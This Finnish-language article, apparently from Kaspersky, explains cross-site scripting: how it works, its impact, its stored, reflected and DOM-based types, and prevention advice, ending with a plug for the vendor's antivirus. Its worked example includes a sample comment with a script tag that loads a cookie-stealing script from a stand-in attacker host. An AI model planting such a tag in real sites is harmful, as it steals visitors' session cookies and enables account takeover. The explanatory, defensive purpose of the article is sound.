Siirry pääsisältöön

Mitä sivustojen väliset komentosarjahyökkäykset ovat?

Sivustojen välisissä komentosarjahyökkäyksissä, joista käytetään lyhennettä XSS, haittakoodia lisätään muutoin luotettaviin sivustoihin. Sivustojen välinen komentosarjahyökkäys tapahtuu, kun verkkorikollinen lisää haitallisia komentosarjoja hyökkäyksen kohteena olevan sivuston sisältöön, joka otetaan mukaan uhrin selaimeen lähetettävään dynaamiseen sisältöön. Uhrin selain ei voi tietää, että näihin haitallisiin komentosarjoihin ei voi luottaa, ja näin ollen selain suorittaa komentosarjat.

Tällöin haitallinen komentosarja pääsee käyttämään evästeitä, istuntotunnuksia tai muita arkaluonteisia tietoja, joita säilytetään selaimessa ja käytetään kyseisessä sivustossa Rikolliset voivat käyttää XSS-hyökkäyksiä myös haittaohjelmien levittämiseen, sivustojen sisällön muuttamiseen, ongelmien aiheuttamiseen yhteisöpalveluissa ja käyttäjien tunnistetietojen kalasteluun. XSS-hyökkäykset poikkeavat muista verkkohyökkäyksistä siinä, että ne eivät kohdistu suoraan itse sovellukseen. Sen sijaan vaara kohdistuu verkkosovelluksen käyttäjiin.

Sivustojen välisten komentosarjahyökkäysten toiminta

Sivustojen väliset komentosarjahyökkäykset käsittelevät haavoittuvuuden sisältävää sivustoa niin, että se palauttaa käyttäjille haitallisia komentosarjoja. Tähän liittyy usein JavaScriptin käyttö, mutta mitä tahansa asiakaspuolen kieltä voi käyttää. Kyberrikolliset kohdistavat hyökkäykset sivustoihin, joissa on haavoittuvia toimintoja, joihin käyttäjät voivat syöttää tekstiä, kuten esimerkiksi hakukenttiä, kommenttiruutuja tai kirjautumislomakkeita. Rikolliset lisäävät haittakoodinsa rehelliseen sivustoon ja huijaavat selaimet suorittamaan haittakoodiaan aina, kun sivusto ladataan.

Koska JavaScript suoritetaan uhrin selainsivulla, todennetun käyttäjän arkaluonteisia tietoja voidaan varastaa istunnosta, jolloin rikolliset voivat kohdistaa hyökkäyksiä sivustojen järjestelmänvalvojiin ja vaarantaa sivustoja.

Riippuen tavasta, jolla koodi lisätään, haitallinen sisältö ei välttämättä edes ole itse verkkosivulla vaan toimii väliaikaisena elementtinä, joka näyttää olevan osa sivustoa vain hyökkäyksen ajan. Tästä voi tulla käsitys, että itse sivusto on vaarantunut, vaikka tämä ei pidä paikkaansa.

XSS-hyökkäyksen käynnistämiseen on olemassa erilaisia keinoja. Sen suorittaminen voidaan esimerkiksi käynnistää automaattisesti, kun sivu latautuu tai kun käyttäjä siirtää hiiren osoittimen sivun tiettyjen elementtien, esimerkiksi hyperlinkkien, kohdalle. Joissakin tapauksissa XSS-hyökkäys tapahtuu suoremmin, esimerkiksi sähköpostiviestissä. Joillakin XSS-hyökkäyksillä ei ole tiettyä kohdetta, vaan hyökkääjä ainoastaan käyttää hyväkseen sovelluksen tai sivuston haavoittuvuutta ja ketä tahansa epäonnista, joka osuu uhriksi.

Hyökkäyksen laajuudesta riippuen se saattaa vaarantaa käyttäjätilejä, aktivoida troijalaisia ja muokata sivujen sisältöä ja huijata käyttäjät antamaan luottamuksellisia tietoja. Istuntoevästeitä saattaa paljastua, jolloin hyökkääjä voi esiintyä luvallisina käyttäjinä ja käyttää hyväkseen heidän yksityisiä tilejään.

Onnistuneella sivustojen välisellä komentosarjahyökkäyksellä voi olla tuhoisia vaikutuksia verkkoyrityksen maineelle ja asiakassuhteille. Valitettavasti virheet, jotka mahdollistavat XSS-hyökkäysten onnistumisen, ovat melko yleisiä. XSS-hyökkäykset voivat käyttää hyväkseen erilaisissa ohjelmointiympäristöissä olevia haavoittuvuuksia. Näitä ovat esimerkiksi VBScript, Flash, ActiveX ja JavaScript. XSS-hyökkäykset kohdistuvat pääasiassa JavaScriptiin, koska kyseinen kieli on integroitu tiiviisti useimpiin selaimiin. Koska XSS-hyökkäykset pystyvät hyödyntämään yleisiä ympäristöjä, ne ovat sekä vaarallisia että yleisiä.

XSS-hyökkäysten vaikutus

XSS-haavoittuvuuksia hyödyntämällä hyökkääjä voi suorittaa haitallisia toimia, joita voivat olla esimerkiksi seuraavat:

  • Käyttäjien uudelleenohjaus haitalliselle sivustolle.
  • Käyttäjien näppäinpainallusten tallentaminen.
  • Käyttäjien selainhistorian ja leikepöydän sisällön käyttäminen.
  • Selainpohjaisten hyökkäysten suorittaminen (esim. selaimen kaataminen).
  • Sivustolle kirjautuneen käyttäjän evästetietojen hankkiminen.
  • Kirjautumisistunnon tunnuksen varastaminen, jolloin hyökkääjä voi käyttää sovellusta uhrina tietämättä tämän salasanaa.
  • Käyttäjän pakottaminen siihen, että hän lähettää hyökkääjän hallitsemia pyyntöjä palvelimeen.
  • Sivun sisällön muuttaminen.
  • Uhrin huijaaminen niin, että hän paljastaa salasanansa sovellukselle tai muille sovelluksille.
  • Muun haittakoodin tartuttaminen uhriin käyttämällä haavoittuvuutta, joka on selaimessa itsessään, ja mahdollisesti uhrin tietokoneen ottaminen hallintaan.

Joissakin tapauksissa XSS-hyökkäys voi vaarantaa käyttäjän koko tilin. Hyökkääjät voivat huijata käyttäjät antamaan tunnistetietonsa väärennettyyn lomakkeeseen, joka siirtää kaikki tiedot hyökkääjälle. Kun hyökkääjä saa käyttäjien tunnistetiedot, hän voi käyttää niitä identiteettivarkauksiin tai talouspetoksiin.

XSS-hyökkäysten tyypit

Sivustojen väliset komentosarjahyökkäykset voidaan jakaa kolmeen luokkaan: tallennettuihin XSS-hyökkäyksiinheijastettuihin XSS-hyökkäyksiin ja DOM-pohjaisiin XSS-hyökkäyksiin.

Tallennettu XSS-hyökkäys (pysyvä XSS)

Tallennettua eli pysyvää XSS-hyökkäystä pidetään XSS-hyökkäysten vahingollisimpana tyyppinä. Tallennettu XSS-hyökkäys tapahtuu, kun käyttäjän antama syöte tallennetaan verkkosivulle ja näytetään osana sitä. XSS-hyökkäysten tyypillisiä lisäyspaikkoja ovat keskusteluryhmät, blogien kommentit, käyttäjäprofiilit ja käyttäjänimikentät. Hyökkääjä käyttää tätä haavoittuvuutta hyväkseen lisäämällä XSS-sisältöä sivuston suosituille sivuille tai lähettämällä uhrille linkin, jolla tämä huijataan katsomaan sivu, joka sisältää tallennetun XSS-sisällön. Uhri käy sivulla, ja hänen verkkoselaimensa suorittaa sisällön asiakkaan puolella.

Heijastettu XSS-hyökkäys (ei-pysyvä XSS)

XSS-hyökkäysten yleisin tyyppi on heijastettu XSS-hyökkäys (joka tunnetaan myös ei-pysyvänä XSS-hyökkäyksenä). Tässä tapauksessa hyökkääjän sisällön on oltava osa verkkopalvelimeen lähetettyä pyyntöä. Se heijastetaan takaisin niin, että HTTP-vastaus ottaa mukaan HTTP-pyynnössä olevan sisällön. Hyökkääjät käyttävät haitallisia linkkejä, tietojenkalasteluviestejä ja muita käyttäjien manipuloinnin tekniikoita, jotta uhri saadaan lähettämään pyyntö palvelimeen. Heijastettu XSS-sisältö suoritetaan sen jälkeen käyttäjän selaimessa.

Heijastettu XSS-hyökkäys ei ole pysyvä hyökkäys, joten hyökkääjän on toimitettava sisältö kullekin uhrille. Näissä hyökkäyksissä käytetään usein yhteisöpalveluja.

DOM-pohjainen XSS-hyökkäys

DOM-pohjainen XSS-hyökkäys tarkoittaa sivustojen välisiin komentosarjoihin liittyvää haavoittuvuutta, joka ilmenee DOM-mallissa (Document Object Model) eikä HTML-koodin osassa. Heijastetuissa ja tallennetuissa sivustojen välisissä komentosarjahyökkäyksissä haavoittuvuutta hyödyntävä sisältö näkyy vastaussivulla, mutta DOM-pohjaisessa XSS-hyökkäyksessä hyökkäyksen HTML-lähdekoodi ja vastaus pysyvät muuttumattomina, eli sisältöä ei löydy vastauksesta. Sen voi nähdä vain suorituksen aikana tai tutkimalla sivun DOM-mallia.

DOM-pohjainen XSS-hyökkäys on usein asiakkaan puolella suoritettava hyökkäys, eikä haitallista sisältöä lähetetä koskaan palvelimeen. Tämä tekee siitä verkkosovelluksen palomuurille (WAF) ja palvelinlokeja tutkiville tietoturva-asiantuntijoille vieläkin vaikeamman tunnistaa, koska hyökkäystä ei nähdä. DOM-objektit, joita käsitellään useimmin, ovat URL (document.URL), URL-osoitteen ankkuriosa (location.hash) ja viittaaja (document.referrer).

Sivustojen väliset komentosarjahyökkäykset

Esimerkki XSS-hyökkäyksestä

Esimerkki: verkkokauppasivustoa selaileva verkkorikollinen havaitsee haavoittuvuuden, jonka ansiosta sivuston kommenttiosioon voi upottaa HTML-tunnisteita. Upotetuista tunnisteista tulee sivun pysyvä ominaisuus, jolloin selain sisällyttää ne muuhun lähdekoodiin aina, kun sivu avataan.

Hyökkääjä lisää kommentin: Edullinen tuote. Lue koko arvostelu osoitteesta <script src="http://huijaussivusto.com/tunnistevaras.js"> </script>.

Kun sivua käytetään tämän jälkeen, kommentin sisältämä HTML-tunniste aktivoi joka kerta JavaScript-tiedoston, jota ylläpidetään toisessa sivustossa ja joka pystyy varastamaan kävijöiden istuntoevästeet.

Istuntoevästeen avulla hyökkääjä voi tunkeutua kävijän tilille ja saada helposti käyttöönsä tämän henkilö- ja pankkitiedot. Sillä välin kävijä, joka ei välttämättä edes siirtynyt sivulla kommenttiosioon saakka, ei tiedä hyökkäyksestä mitään.

Toisin kuin heijastetussa hyökkäyksessä, jossa komentosarja aktivoidaan linkin napsautuksen jälkeen, tallennettu hyökkäys vaatii vain sen, että kävijä käy vaarantuneella sivulla. Tämä kasvattaa hyökkäyksen laajuutta ja altistaa kaikki kävijät uhalle siitä riippumatta, miten varovaisia he ovat.

Hyökkääjän näkökulmasta pysyvät XSS-hyökkäykset ovat vaikeampia toteuttaa, koska on hankalampaa löytää sekä liikennöity sivusto että sivusto, jossa on haavoittuvuuksia, joiden avulla komentosarjat voi upottaa pysyvästi.

Sivustojen välisten komentosarjahyökkäysten estäminen

Sivustojen kehittäjät ja omistajat voivat minimoida sivustojen välisiin komentosarjoihin liittyvät haavoittuvuudet toimimalla seuraavasti:

  • Varmista, että kaikki sivuston sivut, jotka hyväksyvät käyttäjän syöttämiä tietoja, suodattavat pois koodin muodossa annetut syötteet, esimerkiksi HTML- ja JavaScript-koodin.
  • Tarkista verkkosovellukset haavoittuvuuksien varalta ja korjaa ne asianmukaisesti.
  • Päivitä sivustojen ja palvelinten ohjelmistot, jotta voit välttää jatkossa haavoittuvuuksien hyödyntämisen XSS-hyökkäyksillä.

Yksittäinen käyttäjä voi välttää XSS-hyökkäyksen uhriksi joutumisen toimimalla seuraavasti:

  • Poista komentosarjat käytöstä sivuilla, joilla niitä ei tarvita, tai poista ne käytöstä kokonaan.
  • Älä napsauta epäilyttävissä sähköpostiviesteissä tai keskusteluryhmien viesteissä olevia linkkejä, koska ne voivat viedä vaarantuneille sivuille.
  • Käytä sivustoja suoraan kirjoittamalla niiden URL-osoitteet selaimeen äläkä kolmannen osapuolen lähteen tai linkin kautta.
  • Pidä ohjelmistot ajan tasalla, jotta saat käyttöösi uusimmat ohjelmavirhekorjaukset ja suojauskorjaukset. Ohjelmistojen säännöllinen päivittäminen vähentää huomattavasti haavoittuvuuksia, jotka jättävät sivuston tai sovelluksen avoimeksi XSS-hyökkäyksille.
  • Käy sovellukset läpi ja tutki, mitä niistä tarvitset ja mitä käytät vain harvoin. Tarpeettomien sovellusten poistaminen vähentää mahdollisten haavoittuvuuksien määrää.
  • Käytä laadukasta virustorjuntaa, kuten Kaspersky Total Securitya, joka turvaa laitteesi ja tietosi vuorokauden ympäri. Se torjuu tavalliset ja monimutkaiset uhat, kuten virukset, haittaohjelmat, kiristysohjelmat, vakoilusovellukset ja hakkerien uusimmat huijaukset.

Aiheeseen liittyvät artikkelit:

Mikä sivustojen välinen komentosarjahyökkäys on? Määritelmä ja selitys

Mitä sivustojen väliset komentosarjahyökkäykset ovat? Tutustu sivustojen välisiin komentosarjoihin liittyviin haavoittuvuuksiin ja hyökkäyksiin ja niiden estämiseen.
Kaspersky Logo